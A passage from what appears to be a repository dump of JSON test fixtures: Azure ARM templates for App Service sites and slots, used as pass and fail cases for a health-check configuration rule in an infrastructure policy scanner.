\"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSetHealthCheck/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSetHealthCheck/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": true,\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"/somepath/\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": false,\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSetHealthCheck/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"/somepath/\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/fail.json",
